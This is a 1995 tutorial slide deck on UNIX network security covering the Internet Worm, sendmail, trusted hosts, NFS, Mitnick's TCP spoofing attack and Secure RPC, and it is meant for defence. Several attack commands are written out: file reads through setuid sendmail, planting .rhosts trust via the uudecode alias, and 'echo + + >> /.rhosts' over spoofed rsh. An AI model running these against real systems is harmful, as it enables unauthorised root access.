UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 Matt Bishop Department of Computer Science University of California at Davis Davis, CA 95616-8562 phone (916) 752-8060 email bishop@cs.ucdavis.edu The Internet Worm (1988) Best estimates say it disabled 2,600 to 6,000 machines * targeted Sun and VAX UNIX systems specifically * traces found on other systems, but it did not function there; simply accessed We'll describe how it worked in detail, since it is the best known network attack, and had the most far-reaching consequences (so far) Infection infected host host under attack initial connection "grappling hook" ask for object files get object files compile and run A worm on an infected host selects another host for infection, places on it a program called the "grappling hook", which it compiles and runs; the hook brings everything else over and links and runs it What Happened The worm was set up so that if it tried to infect an infected machine, either it or the resident worm would die Problems: * check skipped 1 out of 7 times, so worms immortal * worms told to quit did so after doing quite a bit more work * all history of machines infected by parents lost Result:: most machines consumed by worm within 1-2 hours The Spread 11/2, 6:00PM: worm believed placed on MIT machine 11/2, 6:24PM: first West Coast site infected 11/2, 7:04PM: UC Berkeley attacked 11/2, 7:54PM: UMD College Park attacked 11/2, 8:40PM: Berkeley figures out sendmail, trusted remote host; notices a finger problem; begins disabling those services 11/2, 8:49PM: U of Utah infected 11/2, 10:06PM: 100 active processes on main Utah CS machine;it is now unusable UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 6 The Spread (2) 11/2, 10:20PM: worms on Utah CS machine terminated 11/2, 10:41PM: worms again make Utah CS machine unusable 11/2, 10:49PM: Utah machine shut down and rebooted 11/2, 11:21PM: worms again make Utah CS machine unusable 11/2, 11:28PM: Peter Yee posts "we are under attack" message, advises turning off several services. He missed one (rexec). Over 2,600 computers now infected. The Spread (3) 100% 0% 6pm 8pm 10pm 12mid time of infection v. pct. of infected computers infected UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 8 How To Get the Hook There Four techniques tried simultaneously: * the sendmail attack * the trusted remote hosts attack * the finger attack * the dictionary attack The sendmail Attack Sendmail implements an electronic mail delivery protocol (Simple Mail Transfer Protocol, SMTP) with many extra features, among them: * debug command allows command to be executed on remote host; not part of SMTP spec; used for debugging and development Many sites, vendors did not disable this when shipping systems The sendmail Attack (2) Worm arranged to execute a command that would: * delete header added by mail programs from the letter * feed body to a command interpreter * body instructed to command interpreter to: * store a small (99 line) program in a file * compile this program * execute it (the grappling hook) The Trusted Remote Host Attack Berkeley UNIX network programs have a notion of "trusted host": * if message is from a system listed in a database of trusted hosts (/etc/hosts.equiv), no additional authorization or authentication is needed * if not, it obtains the user id from the message, and sees if the corresponding local user has listed the sending system in a private database of trusted hosts (.rhosts file in home directory); if so, no additional authorization or authentication is needed UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 12 The Trusted Remote Host Attack (2) To find other computers to spread to, the worm * tried all hosts in /etc/hosts.equiv Whenever it guessed a user's password, or managed to connect to a system as a particular user, it: * tried all hosts in the .rhosts file in that user's account * tried all hosts in the mail forwarding file in that user's account (this was a shot in the dark) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 13 The finger Attack Finger is an internet service which reads requests from network and returns information about who is using the host, and/or information about a particular user The Berkeley implementation of the program that listened for requests expected input to be no more than 512 bytes; the input buffer was on the program stack (along with the return address of the main routine) and was not checked for array bounds overflow UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 14 The finger Attack (2) The worm sent 536 bytes of input, most of which was machine code to invoke a command interpreter, and the last 24 (= 536 - 512) bytes of which overwrote the stack frame for the main routine, so when the input reading . So, when the function returned from reading the input, it "returned" to the new routine which created a command interpreter that the worm could, and did, use to download, compile, and run the grappling hook UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 15 The finger Attack (3) main local variables return address of main other return state info gets local variables parameter to gets input buffer main local variables address of input buffer other return state info gets local variables program to invoke shell program to invoke shell after message the usual stack the stack after the worm UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 16 The Dictionary Attack Worm: * scanned user database to get user names, corresponding hashes For each user, it: * tried different possible passwords (account name, account name reversed, first name, last name, short dictionary, etc.) using a speeded-up version of the hash algorithm UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 17 Defenses Several: * disconnect from network Problem is that the network was the only source of information for a lot of people, and network mailing lists were created and used to discuss the worm * disable finger, sendmail, and remove all .rhosts and host.equiv files The first two were done quickly, and both have since been repaired (but older versions exist); use of trusted remote hosts tightened in most places * hide hashed passwords Shadow password files (in which hash is in a protected file, not a world-readable one) now common UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 18 SMTP and sendmail UA MTA MTA MTA UA UA User Agents Message Transfer Agents sendmail, on UNIX systems UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 19 sendmail Holes Be sure you have version 8.6.11 Earlier versions have known security holes! Example: sendmail is setuid to root on many systems. So to read any file: sendmail -C target_file and ignore error messages! contact your vendor for this. UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 20 Things to Check *sendmail should not support the debug command: % telnet host 25 ... greeting message here ... debug 500 Command Unrecognized quit This means you're okay. If you get anything else, it means you need to get a newer version of sendmail. UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 21 Things to Check (2) *sendmail should have the wiz command disabled: %telnet host 25 ...greeting message... wiz enter oh mighty wizard shell ...you now have a root shell running... To prevent this: look in the sendmail configuration file for a line of the form OW... Delete whatever follows the W and put a * in. UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 22 Things to Check (3) If there is a "decode" alias in the aliases file which runs the letter through uudecode(1), you have a security hole: % cat x attackinghost attacker % uuencode /usr/victim/.rhosts < x | mail decode@victimhost % rlogin victimhost -l victim The decode alias runs the uudecode program as root, which allows it to "create" (overwrite) the named file. UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 23 Things to Check (4) Some (not all) versions allow appending to arbitrary files; try mailing a letter to a file, with the file named as recipient twice in a To: filename field. Then check the file. UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 24 Things To Check (5) Variant: try to embed a newline in the address When sendmail checks for files and programs in the address, it checks only the first line of the address ... you get the idea This was the one that caused the latest public outcry (8.6.10 fixed it) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 25 Recommendation If an alias that executes a program is created: make absolutely sure there is no way to obtain a shell, or send commands to a shell, or append to an arbitrary file, from those programs UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 26 Trusted Ports Used to solve the masquerade problem for clients on UNIX machines: only a root process may listen for, or originate, connections on a port with port number under 1024 If not, write a program to listen to port 23 (the telnet port) and spoof a telnet daemon to get user names and passwords UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 27 Problem This is a UNIX convention, not one required by Internet standards. Add an Ethernet board to a PC (or use any non UNIX machine, for that matter) and you can spoof UNIX network software by transmitting from a trusted port (or receiving packets sent to your machine on a trusted port) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 28 Trusted Hosts Allows a system administrator or user to extend trust to another host in varying degrees: * trust everyone on the host * trust some set of users on that host * trust a single user on that host This means that authentication is not done for the trusted users connecting from the trusted host UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 29 hosts.equiv list of hosts that the system administrator has declared are trusted eleazar's file contains bear.dartmouth.edu hydra.riacs.edu Then any user from either bear or hydra can log in without being authenticated further by eleazar (even if their encrypted password in "/etc/passwd" is set to an illegal value) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 30 Recommendation the only hosts who should be named in "hosts.equiv" are: * those hosts under the (physical) control of the system administrator; and * those hosts not publicly available (ie, no workstation available for public use should be trusted) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 31 .rhosts file navier chewy outside ".rhosts" in holly's account on navier contains: chewy matt A per-user "hosts.equiv" file, it disables authentication whenever a login request for holly@navier comes from matt@chewy UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 32 Recommendation Either ban them completely (you may need them for some administrative accounts and functions, but not for users), or place the same restrictions upon user choice of host as for "hosts.equiv" UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 33 Use of Trusted Host Files (rsh, rlogin, rcp) request from user U on host H to host L U in L's pwd file yes no U is superuser no yes H (H U) in hosts.equiv on L yes ALLOW no H (H U) in ~U/.rhosts on L ALLOW yes no what cmd DENY unless no password rcp,rsh ask for password rlogin UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 34 Identifying Users Remotely ident protocol * local host gets connection from port 1503 on host remote.com * local host sends message to remote.com asking who is using port 1503 on remote.com * remote.com responds with account name * local host grants/denies access based on reported account identity UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 35 Problems with ident Recommendation: don't use this unless the host you query is in /etc/hosts.equiv * if remote.com's root is compromised, attacker can have ident daemon send whatever it wants * daemon's message can be altered in transit * association between account, user may be different at remote.com * if used, use it only for logging and with knowledge it may be wrong UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 36 Dartmouth Attack System Administrator noticed some unusual files on a disk. * Files were executables taking up lots of room * No-one admitted they were theirs, but had been modified recently - by a user with a disabled password! * Checked for trusted host; no .rhost * No logins on any host UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 37 What Happened Clearly disk was being mounted. How? * All systems were running NFS * System addresses well known Or you could get them from the DNS ... Let's talk about NFS first UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 38 NFS Originally a Sun Microsystems protocol for file servers, now rapidly becoming an industry standard. Used to allow diskless workstations in offices and a central file server in the basement As distributed, no security features enabled * any host can mount any file system UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 39 Remote Mounting sun200 sun202 Berkeley WAN bear Dartmouth /etc/exports lists file systems which can be remotely mounted. If /etc/exports contains / /private/sun200 then bear can mount either. UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 40 /etc/exports: Controlling Mounting * Who can mount: default: anyone to restrict: use the -access option /private/sun200 -access=sun202:... means only sun202,... can mount that system. Can also use netgroups: /private/sun200 -access=localsuns where localsuns is defined to contain sun202,... UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 41 /etc/exports: Warning Note: Some versions of NFS have a limited line length for this list, or a limited number, and if that limit is exceeded, will allow any host to mount the file system Moral: Check your vendor patch list UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 42 /etc/exports: Access Modes * Who can write the file system remotely, and who can only read it? default: allow read/write access. to force read-only access: use the -ro option: /public/sun200 -ro to restrict read/write access: use the -rw option: /public/sun200 -rw=sun202,sun201,... only sun202,sun201,... will be able to write to it; other hosts can only read it UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 43 /etc/exports: Unknown Users * How to treat unknown users (remote root is unknown) default: allow access, but remap effective UID into -2 (old version) or 65534 (new version). to use another UID: use the anon option /public/sun200 -anon=1234 means processes from unknown users (or from remote roots) will run with UID 1234. to disable: set the UID to -1 (old version) or 65535 (new version); this disallows unknown users: /public/sun200 -anon=-1 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 44 /etc/exports: Root Access * Who can remotely access a file system as root: default: no-one(remote root accesses mapped into another UID, usually -2 or 65534) to allow: use the root option /asroot/sun200 -root=sun202 means processes running as root on sun202 can will not have their UIDs remapped (and are not considered unknown users). Cannot use netgroups here! UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 45 NFS Bug (Sometimes) Note (signed) -2 is (unsigned) 65534 assuming a 16- bit two's complement representation *NFS servers assume UIDs are 16 bits But some systems have 32 bit UIDs What happens? Usually, truncation -- so UID 65536 is read as UID 0! UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 46 /etc/exports: Disabling Setuid * For which programs is the setuid bit honored? default: honor it always. to disallow setuid programs: use the -nosuid option: /public/sun200 -nosuid now the client will ignore the setuid bit when executing programs from the file system /public/sun200 UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 47 Looking Around How do you tell what you have mounted and how? % mount /dev/rz0a on / type ufs /dev/rz0g on /usr type ufs /dev/rz0h on /usr/local type ufs sun001:/usr/new on /usr/new type nfs (rw,soft,bg) sun002:/usr/people on /usr/people type nfs (rw,hard) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 48 Looking from the Server How do you tell what you are exporting? % exportfs /usr -access=bradley,root=windsor /export/swap/athena -access=athena,root=athena /new -access=bradley:choate,root=zeus UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 49 Looking at the Server How do you tell what it is exporting? % showmount -e fs99 export list for fs99: /usr bradley /export/swap/athena athena /new bradley,choate UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 50 Looking at the Server (2) How do you tell what has actually been mounted and where? % showmount -a fs99 athena:/export/swap/athena athena:/new athena:/usr zeus:/new zeus:/usr UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 51 Dartmouth Attack Redux And that's what the Dartmouth Sysadmin did * Turned out we weren't using the -access export control NFS was new; he was learning ... * Someone at Harvard was mounting it No setuid programs involved A call to the Harvard administrator ended the (human) problem; system fixed, also UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 52 Privileged Ports NFS does not require requests to come from privileged ports (by default) To make it do so add this to /etc/rc.local (SunOS 4): rpc.mountd echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem or modify /etc/system (SunOS 5): set nfs:nfs_portmon = 1 This does not prevent spoofing from PCs or privileged users UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 53 Forging Network Packets Simply write a program to format the data correctly, and write it to the appropriate device * typically need to be superuser or have write access to the device * specifications for TCP and IP packets well known and widely available (get any reasonable book on networking!) Note: some systems will correct bogus source information (eg. ULTRIX) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 54 An Example Attack (This is the attack Mitnick launched on Shimomura) Attack used: * IP address spoofing * TCP sequence number guessing * trusted host access Result: was able to rlogin to a very tightly secured system UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 55 How TCP Works Establishing a connection uses a three-way handshake (here, X wants to talk to T): X -> T: SYN(NX) T -> X: SYN(NT), ACK(NX) X -> T: ACK(NT) Now they exchange data NX is a sequence number generated by X NT is a sequence number generated by T UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 56 The Attack If intruder M wants to impersonate X, need to predict sequence number: then M -> T: SYN(NM) but says the source is X T -> X: SYN(NT), ACK(NM) this can't make it M -> T: ACK(NT) but says the source is X Now M can send T what it pleases, and T will believe it came from X UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 57 Sequence Number Guessing On BSD-derived systems: sequence numbers incremented at a c onstant rate (128/sec on 4.2, 125,000/sec on 4.3) - Get the time for a round trip to the target - Observe one connection to get the sequence number - Assume short-term stability of round trip - Start guessing! UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 58 Hiding the Evidence M must prevent X from receiving T's acknowledgement (else X will send a RST, reset connection, to shut it down) - source route everything so it goes to M first, then to X (and simply don't forward it); bad as M's address is there - flood X's connections so it cannot receive anything; then the ACK is dropped; fine if you don't care about T's response - wait until X is down (use ping or netstat to figure this out) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 59 The Attack on Shimomura * sequence of finger and other scans to see if any host used the trusted host mechanism * large number of SYNs to server port 513; this fills the rlogin queue with requests to initiate a connection; note server sends acks, but as they are never responded to, queue stays full Why? Now attacker can spoof server's IP address and any attempts to reply will be sent to server, which will discard them as the relevant queue is full UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 60 Now for the target ... * try to connect to target's rsh port (as would rlogin); use some random source address (not the real one) * about 20 such connections to determine behavior of initial sequence number generator (turns out each one is 128000 more than the previous) * each one is shut down for incorrect sequence number, keeping queue clear Now attacker has the way the initial sequence numbers are generated as well as a round trip time. To work! UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 61 Now the Connection Assume: target trusts server (a` la Berkeley trusted hosts) * send SYN packet with source given as server * target sends ACK to server; it gets dropped * send ACK using the predicted sequence number You now have a one-way connection to target Send: rsh target "echo + + >> /.rhosts" UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 62 Apre`s nous, le De'luge * close down bogus connection to target * send RSTs to server to clear its rlogin connection queue * rlogin to target as root Have fun! Unfortunately for the attacker, Tsutomu routinely logs all TCP packets off-line, and when the attacker deleted ome on-line logs, it was noticed and the attack reconstructed UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 63 Basis for NFS This uses a service called "Remote Procedure Calls," or RPC * many different designs * NFS uses Sun's design UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 64 Remote Procedure Calls (RPC) An interprocess communication mechanism usually used for intra-machine communication: bear amelia clientserver portmap register 1344 where to send? send to 1344 UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 65 Spoofing RPC Two ways, one requiring cooperation of vendor: * easy: if the supplied version of portmap will accept requests to register or delete services when: * they come from remote hosts; or * they refer to a trusted port and come from a connection originating at an untrusted port just delete one service and add your own version (note: Sun's version of portmap checks for these) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 66 Spoofing RPC (2) * harder: if the supplied version of portmap rejects the above requests, replace a service with your own version that will do whatever you like * harder as you will have to handle the original server * simple if you can kill it in such a way it does not request deletion If not root, you need to do this to a service on an untrusted port UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 67 RPC and Authentication For Sun (and as the basis for NIS and the Network File System), two kinds: * AUTH_UNIX uses mechanisms from the operating system but not encryption * AUTH_DES uses encryption UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 68 AUTH_UNIX Client sends: * (UID, GID), GID1, ..., GID8 If UID is 0 then in all but one case the UID will be changed to -2, the nobody user Problem: server believes the UID * first attack: become root on a remote workstation, then su to anyone else and do your dirty deeds * second attack: write a function to supply any UID and GIDs you like UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 69 Public Key Cryptography different keys are used for encryption and decryption C = E(ke, M) and M = D(kd, C) Requires: * given ke, it is "computationally infeasible" to obtain kd * kd cannot be determined by a chosen plaintext attack (ie, given any set of known pairs (M, C), you cannot determine kd ke is the public key, kd the private key UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 70 AUTH_DES Authentication done using encryption: * when you log in, your NIS record is obtained: netname:KU:DES(p,ku) netname uniquely identifies user (currently I'm 77.unix@csdept) KU hex of your public key (Diffie-Hellman cryptosystem, based on calculation of discrete logs) DES(p,ku) hex of your private key encrypted using your password UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 71 AUTH_DES (2) * DES(p,ku) is decrypted and ku stored in /etc/ keystore or kept in keyserver process' memory * a session key is then generated from ku and KS, the server's public key * generate a random 56-bit conversation key, encrypt it with session key, send it to server * Server uses KU and ks to decrypt conversation key UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 72 AUTH_DES in Pictures NIS record know KU, KS use password to get ku compute conversation key C = (KS, ku) generate random session key T append validator V DES(C, {T,V}) know KU, KS, ks compute conversation key C = (KU, ks) extract T extract V if V is bad format, error; else all is well workstation server UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 73 Why This Works Based on a public key cryptosystem proposed for secrecy; 1976, by Diffie, Hellman, which relies on the complexity of computing logarithms over a finite Galois field GF(p), where p is prime; for large p, no quick method is known Uses symmetric key exchange; two different users can derive a common interchange key without any prior communication UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 74 Getting the Keys User generates a random number kpriv (private key) in [1,...,p-1] User computes KPub = a mod p (public key)for some known a. To send messages to Bob, Alice first computes an interchange key Kab as Kab = KPubBob mod p Note that Bob can also compute Kab, as Kab = KPubAlice mod p kpriv kprivAlice kprivBob UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 75 Example Let a = 2 and p = 13. Alice picks kprivAlice = 11; then KPubAlice = 2 mod 13 = 2048 mod 13 = 7 Bob picks kprivBob = 9; then KPubBob = 2 mod 13 = 512 mod 13 = 5 Their interchange key will be 8, and 5 mod 13 = 8 = 7 mod 13 11 9 11 9 workstation server UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 76 Implications If messages make sense, then: * the packet that arrived was encrypted using what the server believes is the conversation key * to get that, it had to be encrypted using the session key * which means the workstation knew ku * which means the workstation had the user's password Note no password is ever sent in the clear over the network UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 77 Use Encrypt a user's (UID, GID), ... information and include it at the head of each packet * also enclose a timestamp to prevent replay Problem: clock drift Solution: allow a "window" of 60 minutes in which packets are valid * this is the default * for security-sensitive applications, Sun recommends no more than 5 minutes UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 78 Logging In and Out Two special programs: * keylogin prompts you for your password, then loads your private key Useful if you rlogin without needing to supply a password * keylogout deletes your private key from the key server process' memory UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 79 How To Use Secure RPC * Assign each user a public and private key in /etc/ publickey on the master NIS server If a user does not have one, run newkey -u user to generate it as the superuser; use newkey -h host if the user is the superuser * Start the keyserv program; best to do this from /etc/ rc.local. Of course, ypbind must be running too! UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 80 Problems * Performance penalty The RPC authenticator must be decrypted on each packet. The DES is fast, though; the penalty is roughly 10%. * Clients must be modified to use Secure RPC A program must specify which form (none, DES, UNIX) of authentication it wants to use. The modification is trivial UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 81 Problems (2) * The private key is resident on the system If in /etc/keystore, anyone who gets superuser privileges (or who can read that file, or get a copy of it) can impersonate you. If in the keyserver's memory only, anyone who can read memory can get it. (More likely in this case: a Trojan horse) * Strength of the cryptosystem In 1989 it was shown how to calculate the private key given the public key (this is solving the discrete logarithm problem). The technique has not (as far as I know) been published yet, and works well only for small keys. Sun is working on a system using larger keys. UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 82 Portmappers and NFS Mounts Attack: ask the NFS server's portmapper to forward a request to the mount daemon Result: it looks local, so access privileges of local host (not requester) are used Fix: Run a portmapper (or rpcbind) that does not forward mount requests (or their ilk). Your vendor probably has a patch. Also see CERT Afdvisory 94:15, "NFS Vulnerabilities" UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 83 /etc/exports: Secure Access * Should NFS use authentication to validate requests? default: no to force this: use the secure option /security/sun200 -secure means this file system will be exported using Secure NFS only You also have to have the clients mount it as secure ... UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 84 /etc/fstab: Secure Access * To have workstation sun201 mount /security/sun200 using Secure NFS, put secure in the options field of the appropriate line in /etc/fstab file sun200:/security/sun200 /security nfs bg,intr 0 0 means regular NFS, and sun200:/security/sun200 /security nfs bg,intr,secure 0 0 means using Secure NFS UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 85 Mounting Remotely If you need to mount a file system at times other than booting, use mount(8) Options: secure assume secure NFS suid honor setuid bits on the files nosuid do not honor setuid bits on the files Recommendation: unless there is a good reason to honor the setuid bits, mount it nosuid UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 86 Password Cracking Goal: to get the file of password hashes * One large site configured so all password file entries were stored on a server and information sent to other hosts when logged in * How? Used "Network Information System" (NIS; then called "Yellow Pages" or YP) A large series of these attacks carried out over the past few years; sometimes password files found at sites with large computation facilities UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 87 Network Information Services Formerly called "YP," it's a distributed database system allowing computers to share such information as password files, group files, host tables, etc. over a network. * Files available everywhere, but stored on one host called the NIS server * Can group users, hosts, and domains together for easy reference as a netgroup UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 88 Net Groups Defined in /etc/netgroup (or NIS map): netgroup hostname hostname hostname ... The named netgroup refers to the named hosts netgroup (host, user, domain) (host, user, domain) ... The named netgroup refers to the sets specified * domain refers to the domain in which the triple is valid so (,,domain) includes everyone and all hosts. * if a field is empty, it matches any value * if a field is "-" it matches no value UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 89 Example of Using the NIS The following in the password file: bishop:xyAbCdEfGgH:23:45:me!:/usr/bishop:/bincsh + After "bishop," the clients pull the rest of the password info from the NIS server Advantage: * you only need one central repository * changes are automatically propagated UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 90 The "+" Feature (passwd) This has 3 uses: + insert the contents of the NIS password file +name insert the entry for name from the NIS password file; a non-null password, gecos, home, or shell field in the local password file overrides the NIS value +@netgroup insert the entries for all members of netgroup UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 91 The "-" Feature (passwd) This has 2 uses: -name disallow subsequent entries for name (from both this file and the NIS password file) -@netgroup disallow subsequent entries for members of netgroup (from both this file and the NIS password file) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 92 Example The local password file has: root:.51ijLgvehlvC:0:10:The Boss:/:/bin/sh root can log in even when NIS is not working +mab: mab's NIS record is interpolated here +@students:no-login: no students can log in +::::Just Visiting anyone else can, but their GECOS is "Just Visiting" UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 93 Recommendation Check the password file of all NIS machines, clients and servers, to be sure that the line with a "+" does not become this: +::0:0::: UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 94 Quick Check To test the configuration of your server (or a client, if you suspect it is not using the NIS database): % /bin/login login: + Password: anything login incorrect Good version. If after typing the "+" you get a "#" prompt, your system is not configured correctly and you should change the lines in the password file as suggested in the previous slide. UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 95 The "+" and "-" Features (group) This has 3 uses: + insert the contents of the NIS group file +name insert the entry for name from the NIS group file; a non-null password, or user_list field in the local password file overrides the NIS value -name disallow the group name UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 96 Example The local group file has: cs58:.51ijLgvehlvC:10:mab,heidi group cs58 has GID 10, members matt and heidi +project:::matt,holly project has members matt and holly, and GID and password as in NIS record -hackers: the group hackers is to be ignored +: interpolate the NIS group file (modulo the above changes) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 97 The "+" and "-" Features (hosts.equiv) This has 3 uses: + insert the contents of the NIS group file +@name all members of the netgroup name are trusted -@name no member of the netgroup name is trusted WARNING: often implemented incorrectly The latter two can appear as hosts (the "trust" refers to the hosts) or as users (the "trust" refers to the users) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 98 Example The local hosts.equiv file has: bear 